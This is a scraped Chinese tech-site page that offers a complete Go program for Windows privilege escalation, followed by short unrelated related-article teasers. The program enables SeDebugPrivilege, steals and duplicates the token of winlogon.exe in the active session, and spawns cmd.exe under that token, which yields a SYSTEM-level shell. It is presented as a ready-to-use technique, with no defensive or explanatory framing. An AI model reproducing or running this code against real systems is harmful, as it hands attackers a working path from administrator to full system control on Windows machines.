golang实现windows提权

news/2024/11/17 1:26:59/

golang实现windows提权

package mainimport ("fmt""syscall""unsafe""github.com/shirou/gopsutil/process""golang.org/x/sys/windows"
)const (TOKEN_ALL_ACCESS     = 0x000F01FFSE_PRIVILEGE_ENABLED = 0x00000002TOKEN_DUPLICATE      = 0x00000002
)var (modadvapi32             = syscall.NewLazyDLL("advapi32.dll")createProcessWithTokenW = modadvapi32.NewProc("CreateProcessWithTokenW")
)func CreateProcessWithTokenW(Token windows.Token,LogonFlags uint32,ApplicationName *uint16,CommandLine *uint16,CreationFlags uint32,Environment **uint16,CurrentDirectory *uint16,StartupInfo *windows.StartupInfo,ProcessInformation *windows.ProcessInformation) bool {r0, _, _ := createProcessWithTokenW.Call(uintptr(Token),uintptr(LogonFlags),uintptr(unsafe.Pointer(ApplicationName)),uintptr(unsafe.Pointer(CommandLine)),uintptr(CreationFlags),uintptr(unsafe.Pointer(Environment)),uintptr(unsafe.Pointer(CurrentDirectory)),uintptr(unsafe.Pointer(StartupInfo)),uintptr(unsafe.Pointer(ProcessInformation)))return r0 != 0
}func SetPrivilege() error {var hToken windows.Tokenerr := windows.OpenProcessToken(windows.CurrentProcess(), TOKEN_ALL_ACCESS, &hToken)if err != nil {return err}defer hToken.Close()var tp windows.Tokenprivilegestp.PrivilegeCount = 1tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLEDvar luid windows.LUIDse, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")windows.LookupPrivilegeValue(nil, se, &luid)tp.Privileges[0].Luid = luidwindows.AdjustTokenPrivileges(hToken, false, &tp, uint32(unsafe.Sizeof(windows.Tokenprivileges{})), nil, nil)return nil
}func GetProcessIdByName(targetname string, sessionID uint32) uint32 {pids, _ := process.Processes()for _, p := range pids {name, _ := p.Name()if targetname == name {var sesID uint32 = 0windows.ProcessIdToSessionId(uint32(p.Pid), &sesID)if sesID == sessionID {return uint32(p.Pid)}}}return 0
}
func main() {err := SetPrivilege()if err != nil {fmt.Println("Error:", err)return}// CMD := "cmd.exe"targetProcess := "winlogon.exe"sessionID := windows.WTSGetActiveConsoleSessionId()if sessionID != 0xffffff {processId := GetProcessIdByName(targetProcess, sessionID)if processId != 0 {targetProcessHandle, _ := windows.OpenProcess(0x400, false, processId)defer windows.CloseHandle(targetProcessHandle)var targetProcessToken windows.Tokendefer targetProcessToken.Close()err := windows.OpenProcessToken(targetProcessHandle, TOKEN_DUPLICATE, &targetProcessToken)if err != nil {fmt.Println("windows.OpenProcessTok", err)return}var impersonationToken windows.Tokendefer impersonationToken.Close()err = windows.DuplicateTokenEx(targetProcessToken, TOKEN_ALL_ACCESS, nil, windows.SecurityIdentification, windows.TokenPrimary, &impersonationToken)if err != nil {fmt.Println("DuplicateTokenEx", err)return}var si windows.StartupInfovar pi windows.ProcessInformationsi.Cb = uint32(unsafe.Sizeof(si))Desktop, _ := syscall.UTF16PtrFromString("winsta0\\default")si.Desktop = DesktopCMDStr, _ := windows.UTF16PtrFromString("cmd.exe")status := CreateProcessWithTokenW(impersonationToken, 0, CMDStr, nil, windows.CREATE_NEW_CONSOLE, nil, nil, &si, &pi)if !status {err = windows.CreateProcessAsUser(impersonationToken, nil, CMDStr, nil, nil, false, 0, nil, nil, &si, &pi)if err != nil {fmt.Println("CreateProcessAsUser", err)return}}}}
}

http://www.ppmy.cn/news/1423048.html

相关文章

数据库配置加密(自定义加密方式)

1. 首先,自己编写加密工具类,我这里使用的是国密(免得其他地方有要求),并使用hutool工具,需要应入pom package com.banyoyo.epdb.utils;import cn.hutool.core.util.CharsetUtil; import cn.hutool.core.util.StrUtil; import cn.hutool.crypto.symmetric.SymmetricCrypto;/**…

成为程序员的收获、体会与未来展望

在当今数字化时代,程序员的角色变得越来越重要。成为一名程序员不仅仅是学习编程语言和技术,更是一个充满挑战和机遇的职业选择。在本文中,我们将探讨成为程序员后所带来的收获和体会,并展望未来的发展前景。第一部分:…

python re.split()函数解析

re.split简单的使用方法: resultre.split(表达式,字符串,re.S)根据表达式拆分字符串并返回数组 如果拆分文本,比如拆分一本小说内容如下 ss第一章 第一章标题\n fadfasdfasdfadafd\n 第二章 第二章标题\n adfafdasdfasdfadsfasd\n 第三章 第三章…

4.16作业

1.总结keil5下载代码和编译代码需要注意的事项 一、在编译代码时需要先点击魔术棒点击 修改flash Downlond 和pack 二、可以通过F12转跳到对应的函数中,查看函数的原型 三、注释出现乱码通过 Edit中的中的来修改 四、要先bulid在load 2.总结STM32Cubemx的使用方…

力扣1144---递减元素使数组呈锯齿状(Java、Python、模拟)

目录 题目描述: 思路描述: 代码: Java: Python: 题目描述: 给你一个整数数组 nums,每次 操作 会从中选择一个元素并 将该元素的值减少 1。 如果符合下列情况之一,则数组 A 就是 …

Go中的HTTP请求处理概述

使用 Go 处理 HTTP 请求主要涉及两件事:ServeMuxes 和 Handlers。 ServeMux本质上是一个 HTTP 请求路由器(或多路复用器)。它将传入的请求与预定义的 URL 路径列表进行比较,并在找到匹配时调用路径的关联 handler。 handler 负责写…

Python连接Oracle数据库问题解决及Linux服务器操作知识

背景说明 最近在做一个视频分析的项目,然后需要将视频分析的数据写入到oracle数据库,直接在服务器上测试数据库连接的时候出现了这个bug提示,自己通过不断的研究探讨,最终把这个问题成功进行了解决,在这里进行一下记录…

芯片的未来发展趋势

2024 年,该行业将专注于 AI/ML、RISC-V、量子、安全等发展趋势。 今年年初,大多数人从未听说过生成式人工智能。现在整个世界都在竞相利用它,而这仅仅是个开始。量子计算、6G、智能基础设施等新市场领域专用处理正在加速对更快、更高效、更多…